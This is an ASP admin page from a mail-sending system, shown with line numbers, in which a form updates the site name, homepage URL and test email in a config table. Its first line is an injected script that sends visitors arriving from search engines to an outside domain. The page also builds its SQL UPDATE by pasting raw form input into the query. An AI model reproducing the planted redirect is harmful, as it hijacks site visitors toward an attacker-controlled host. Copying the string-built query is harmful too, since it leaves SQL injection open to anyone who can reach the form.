d:\wwwroot\wuchunhua\sendmail\mail_setting.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="inc_CheckLogin.asp"-->
002:
<html>
003:
<head>
004:
<title>管理</title>
005:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
006:
<link rel="stylesheet" href="inc/style.css">
007:
</head>
008:
<body>
009:
<%
CheckString("01")
%
>
010:
<%
011:
dim action
012:
action=request.QueryString("action")
013:
014:
set rs=conn.execute("select * from [vn_config]")
015:
if not rs.eof then
016:
sys_name=rs("sys_name")
017:
sys_homepage=rs("sys_homepage")
018:
sys_testemail=rs("sys_testemail")
019:
end if
020:
rs.close:set rs=nothing
021:
022:
023:
if action="editsave" then
024:
sys_name=GetForm("sys_name")
025:
sys_homepage=GetForm("sys_homepage")
026:
sys_testemail=GetForm("sys_testemail")
027:
028:
if right(sys_homepage,1)<>"/" then
029:
ErrMsg = ErrMsg & "● 系统地址必须以 / 结尾；\n"
030:
end if
031:
032:
033:
if ErrMsg="" then
034:
conn.execute("update [vn_config] set sys_name='"& sys_name &"',sys_homepage='"& sys_homepage &"',sys_testemail='"& sys_testemail &"'")
035:
036:
Application.Lock()
037:
Application(CacheName&"_sysconfig")=""
038:
Application.UnLock()
039:
alert "提交保存成功；","?"
040:
end if
041:
if ErrMsg<>"" then response.Write(SetErrMsg(ErrMsg))
042:
end if
043:
%
>
044:
<table width="99%" border="0" align="center" cellpadding="4" cellspacing="1" class="tablebk" style="border-collapse: collapse">
045:
<form name="Form1" action="?action=editsave" method="post">
046:
<tr>
047:
<td colspan="2" class="table_titlebg">系统信息配制</td>
048:
</tr>
049:
<tr>
050:
<td width="34%" align="right" class="table_trbg02"><strong>系统名称：</strong></td>
051:
<td width="66%" class="table_trbg02"><input name="sys_name" type="text" class="input" size="40" value="
<%
=sys_name
%
>"></td>
052:
</tr>
053:
<tr>
054:
<td align="right" class="table_trbg02"><strong>系统地址：</strong></td>
055:
<td class="table_trbg02"><input name="sys_homepage" type="text" class="input" size="40" value="
<%
=sys_homepage
%
>">
056:
系统浏览的绝对地址必须以/结束</td>
057:
</tr>
058:
<tr>
059:
<td align="right" class="table_trbg02"><strong>测试邮址：</strong></td>
060:
<td class="table_trbg02"><input name="sys_testemail" type="text" class="input" size="40" value="
<%
=sys_testemail
%
>">
061:
系统测试时接收信息的邮箱</td>
062:
</tr>
063:
<tr>
064:
<td height="40" colspan="2" align="center" class="table_trbg02"><input type="submit" name="Submit" value="提交">
065:
066:
<input type="reset" name="Submit" value="重置"></td>
067:
</tr>
068:
</form>
069:
</table>
070:
</body>
071:
</html>
072:
073: